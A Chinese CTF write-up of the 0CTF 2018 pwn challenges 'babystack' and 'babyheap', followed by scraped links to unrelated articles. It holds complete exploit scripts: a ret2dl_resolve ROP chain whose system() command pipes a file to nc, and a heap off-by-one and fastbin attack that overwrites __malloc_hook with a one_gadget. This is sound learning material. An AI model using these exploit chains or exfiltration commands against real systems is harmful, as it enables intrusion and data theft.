前言

0ctf2018pwn 做一个总结

正文

babystack

漏洞

非常直接的 栈溢出

ssize_t sub_804843B()
{
char buf; // [esp+0h] [ebp-28h] return read(0, &buf, 0x40u);
}

这个题的难点在于 用 python 启动了该程序同时过滤了 stdoutstdout

#!/usr/bin/python -u
# encoding: utf-8
from pwn import *
import random, string, subprocess, os, sys
from hashlib import sha256 os.chdir(os.path.dirname(os.path.realpath(__file__))) def proof_of_work():
chal = ''.join(random.choice(string.letters+string.digits) for _ in xrange(16))
print chal
sol = sys.stdin.read(4)
if len(sol) != 4 or not sha256(chal + sol).digest().startswith('\0\0\0'):
exit() def exec_serv(name, payload):
p = subprocess.Popen(name, stdin=subprocess.PIPE, stdout=file('/dev/null','w'), stderr=subprocess.STDOUT)
p.stdin.write(payload)
p.wait() if __name__ == '__main__':
proof_of_work()
payload = sys.stdin.read(0x100)
exec_serv('./babystack', payload)

利用

无输出,使用 ret to dl_resolve .

#coding:utf-8
import sys
sys.path.append('./roputils')
import roputils
from pwn import *
from hashlib import sha256 context.terminal = ['tmux', 'splitw', '-h']
fpath = './babystack'
offset = 44 # 离覆盖 eip 需要的距离
command_len = 60 # system 执行的命令长度 readplt = 0x08048300
bss = 0x0804a020
vulFunc = 0x0804843B p = process(fpath) rop = roputils.ROP(fpath)
addr_bss = rop.section('.bss') # step1 : write shStr & resolve struct to bss
# buf1 = rop.retfill(offset)
buf1 = 'A' * offset #44
buf1 += p32(readplt) + p32(vulFunc) + p32(0) + p32(addr_bss) + p32(100)
p.send(buf1) log.info("首先 rop 调用 read, 往 .bss 布置数据") buf2 = 'head exp.py | nc 127.0.0.1 8888\x00'
buf2 += rop.fill(command_len, buf2)
buf2 += rop.dl_resolve_data(addr_bss+command_len, 'system')
buf2 += rop.fill(100, buf2)
p.send(buf2)
log.info("布置 bss, 在 bss+command_len 处解析出 system 的地址") #step3 : use dl_resolve_call get system & system('/bin/sh')
buf3 = 'A'*offset + rop.dl_resolve_call(addr_bss+command_len, addr_bss)
p.send(buf3)
log.info("布置好后,通过 dl_resolve_call, 调用 system") p.interactive()

babyheap

漏洞

漏洞位于 update 函数时,可以往分配的内存多写入一字节的数据

int __fastcall update(obj *table)
{
unsigned __int64 size; // rax
signed int idx; // [rsp+18h] [rbp-8h]
int size_; // [rsp+1Ch] [rbp-4h] printf("Index: ");
idx = get_num();
if ( idx >= 0 && idx <= 15 && table[idx].inused == 1 )
{
printf("Size: ");
LODWORD(size) = get_num();
size_ = size;
if ( size > 0 )
{
size = table[idx].size + 1; // size = 分配的内存size + 1
if ( size_ <= size )
{
printf("Content: ");
read_to_buf(table[idx].heap, size_); // 可以溢出一个字节
LODWORD(size) = printf("Chunk %d Updated\n", idx);
}
}
}
else
{
LODWORD(size) = puts("Invalid Index");
}
return size;
}

利用

  • 利用 off-by-oneoverlap chunk. 然后利用 分配 unsorted bin 的切割机制,拿到 libc 地址
  • 再次 overlap chunk ,构造 0x40 大小的 fastbin ,修改 0x40 大小的 fastbin 的第一个chunkfd0x61
  • 分配一个 0x40fastbin, 此时 main_arean->fastbin 中就会出现 0x61, 用来 fastbin 攻击
  • 再次 overlap chunk ,构造 0x60 大小的 fastbin, 修改 0x60 大小的 fastbin 的第一个 chunkfdmain_arean->fastbin
  • fastbin attack分配到 main_arean, 然后修改 main_arean->top__malloc_hook - 0x10, 然后分配内存,修改 __malloc_hookone_gadget
#/usr/bin/env python
# -*- coding: utf-8 -*- from pwn import *
from time import *
context.terminal = ['tmux', 'splitw', '-h']
context(os='linux', arch='amd64', log_level='info') env = {"LD_PRELOAD": "./libc-2.24.so"} # p = process("./babyheap", aslr=0)
p = remote("202.120.7.204", 127) def allocate(size):
p.recvuntil("Command: ")
p.sendline("1")
p.recvuntil("Size: ")
p.sendline(str(size)) def update(idx, size, content):
p.recvuntil("Command: ")
p.sendline("2")
p.recvuntil("Index: ")
sleep(0.1)
p.sendline(str(idx))
p.recvuntil("Size: ")
p.sendline(str(size))
p.recvuntil("Content: ")
sleep(0.1)
p.send(content) def delete(idx):
p.recvuntil("Command: ")
p.sendline("3")
p.recvuntil("Index: ")
p.sendline(str(idx)) def view(idx):
p.recvuntil("Command: ")
p.sendline("4")
p.recvuntil("Index: ")
p.sendline(str(idx)) code_base = 0x555555554000 gdb_command = '''
# bp %s
directory ~/workplace/glibc-2.23/malloc/
x/30xg 0x429C0F050000
c
''' %(hex(code_base + 0x000FA9)) # gdb.attach(p, gdb_command)
# pause() allocate(0x18) # 0
allocate(0x38) # 1
allocate(0x48) # 2
allocate(0x18) # 3 update(0,0x19, "a" * 0x18 + "\x91")
delete(1) allocate(0x38) # 1 view(2)
p.recvuntil("]: ") lib = ELF("./libc-2.24.so") # libc = u64(p.recv(6) + "\x00" * 2) - 0x3c4b78
libc = u64(p.recv(6) + "\x00" * 2) - lib.symbols['__malloc_hook'] - 0x68 malloc_hook = lib.symbols['__malloc_hook'] + libc
# fast_target = libc + 0x3c4b30
fast_target = malloc_hook + 0x20
bins = malloc_hook + 0x68 one_gad = libc + 0x3f35a # bins = libc + 0x3c4b78
# bins = malloc_hook log.info("libc: " + hex(libc)) allocate(0x58) # 4
allocate(0x28) # 5
allocate(0x38) # 6
allocate(0x48) # 7
allocate(0x18) # 8
allocate(0x18) # 9 delete(5)
delete(6)
delete(8) update(3,0x19, "a" * 0x18 + "\xf1")
delete(4)
allocate(0x58) # 4
allocate(0x18) # 5
allocate(0x48) # 6 # update(4,0x59, "a" * 0x59 + "\x31")
update(6, 0x8, p64(0x61))
update(4, 0x59, "a" * 0x58 + "\x41")
# pause()
allocate(0x38) # 8 allocate(0x28) # 10
allocate(0x18) # 11
allocate(0x58) # 12
allocate(0x58) # 13
# pause() payload = p64(0x0)
payload += p64(0xc1) update(7,len(payload), payload)
log.info("make 0x180's size 0xc1")
delete(11)
pause() allocate(0x48) # 11
allocate(0x58) # 14
update(14, 0x10, p64(0) + p64(0x0000000000000061))
delete(12)
update(14, 0x18, p64(0) + p64(0x0000000000000061) + p64(fast_target)) delete(0)
# delete(1)
delete(2) allocate(0x58) # 0 allocate(0x58) # 2 payload = 'a' * 0x38
payload += p64(malloc_hook-0x10)
payload += p64(bins) * 3 print hex(len(payload)) update(2, len(payload), payload)
delete(0) allocate(0x28) payload = "a" * 8
payload += p64(0)
payload += p64(0x21)
payload += p64(bins) * 2 update(11,len(payload), payload) allocate(0x28) update(12, 8, p64(one_gad)) log.info("done")
# pause() allocate(0x10) p.interactive() # x/30xg 0x429C0F050000

0ctf2018 pwn的更多相关文章

  1. Pwn~

    Pwn Collections Date from 2016-07-11 Difficult rank: $ -> $$... easy -> hard CISCN 2016 pwn-1 ...

  2. iscc2016 pwn部分writeup

    一.pwn1 简单的32位栈溢出,定位溢出点后即可写exp gdb-peda$ r Starting program: /usr/iscc/pwn1 C'mon pwn me : AAA%AAsAAB ...

  3. i春秋30强挑战赛pwn解题过程

    80pts: 栈溢出,gdb调试发现发送29控制eip,nx:disabled,所以布置好shellcode后getshell from pwn import * #p=process('./tc1' ...

  4. SSCTF Final PWN

    比赛过去了两个月了,抽出时间,将当时的PWN给总结一下. 和线上塞的题的背景一样,只不过洞不一样了.Checksec一样,发现各种防护措施都开了. 程序模拟了简单的堆的管理,以及cookie的保护机制 ...

  5. pwn学习(1)

    0x00 简介 入职之后,公司发布任务主搞pwn和re方向,re之前还有一定的了解,pwn我可真是个弟弟,百度了一番找到了蒸米大佬的帖子,现在开始学习. 0x01 保护方式 NX (DEP):堆栈不可 ...

  6. pwn学习之四

    本来以为应该能出一两道ctf的pwn了,结果又被sctf打击了一波. bufoverflow_a 做这题时libc和堆地址都泄露完成了,卡在了unsorted bin attack上,由于delete ...

  7. pwn学习之三

    whctf2017的一道pwn题sandbox,这道题提供了两个可执行文件加一个libc,两个可执行文件是一个vuln,一个sandbox,这是一道通过沙盒去保护vuln不被攻击的题目. 用ida打开 ...

  8. pwn学习之二

    刚刚开始学习pwn,记录一下自己学习的过程. 今天get了第二道pwn题目的解答,做的题目是2017年TSCTF的easy fsb,通过这道题了解了一种漏洞和使用该漏洞获取shell的方法:即格式化字 ...

  9. pwn学习之一

    刚刚开始学习pwn,记录一下自己学习的过程. 今天完成了第一道pwn题目的解答,做的题目是2017年TSCTF的bad egg,通过这道题学习到了一种getshell的方法:通过在大小不够存储shel ...

随机推荐

  1. Numpy学习50例

    基础部分 1.导入numpy模块 import numpy as np 2.查看numpy版本信息 print(np.__version__) numpy的主要对象的多维数组Ndarray.Numpy ...

  2. easyUI datebox 日期空间斜杠格式化。例如将日期空间中显示2017-03-13,改为2017/03/13

    easyUI datebox 日期空间斜杠格式化 将日期空间中显示2017-03-13,改为2017/03/13 //日期控件斜杠格式化 function formatDate(date){ if( ...

  3. 剑指offer三十五之数组中的逆序对

    一.题目 在数组中的两个数字,如果前面一个数字大于后面的数字,则这两个数字组成一个逆序对.输入一个数组,求出这个数组中的逆序对的总数P.并将P对1000000007取模的结果输出. 即输出P%1000 ...

  4. Sublime Text 3快捷键的使用技巧(python)

    Sublime Text 3非常实用,但是想要用好,一些快捷键不可或缺,所以转了这个快捷键汇总. 先拉出来说几个切身体会最常用, Ctrl+Z 撤销. Ctrl+Y 恢复撤销 Alt+Shift+2  ...

  5. free函数使用时的注意事项。

    free函数是我们在写C语言程序时常用的函数,但是使用时需要注意,一不小心很肯能会引起吐核. 注意:free函数与malloc()函数配对使用,malloc函数释放申请的动态内存.对于free(p)这 ...

  6. java Fork/Join框架

    应用程序并行计算遇到的问题 当硬件处理能力不能按摩尔定律垂直发展的时候,选择了水平发展.多核处理器已广泛应用,未来处理器的核心数将进一步发布,甚至达到上百上千的数量.而现在很多的应用程序在运行在多核心 ...

  7. ruby 数组操作

    数组的创建 arr = Array.new num #创建num个元素的数组,所有数组元素为nil arr = Array.new num, elem #创建num个元素的数组,所有数组元素为elem ...

  8. 百度前端技术学院-task1.8源代码

    主要是不采用bootstrap实现网格. 遇到的困难及注意点如下: 1.[class*='col-'],这个是选择col-开头的类,第一次用,以前也只是看到过: 2.媒体查询,总觉得容易理解错误.@m ...

  9. springboots 配置文件

    1.build.gradle buildscript { // 声明变量 ext { springBootVersion = '1.5.2.RELEASE' } // 仓库 repositories ...

  10. C# 数组中的 indexOf 方法

    var array=['REG','2018','2018']; array.indexOf(‘REG’) // 0 array.indexOf(‘R’) // -1 array.indexOf(’2 ...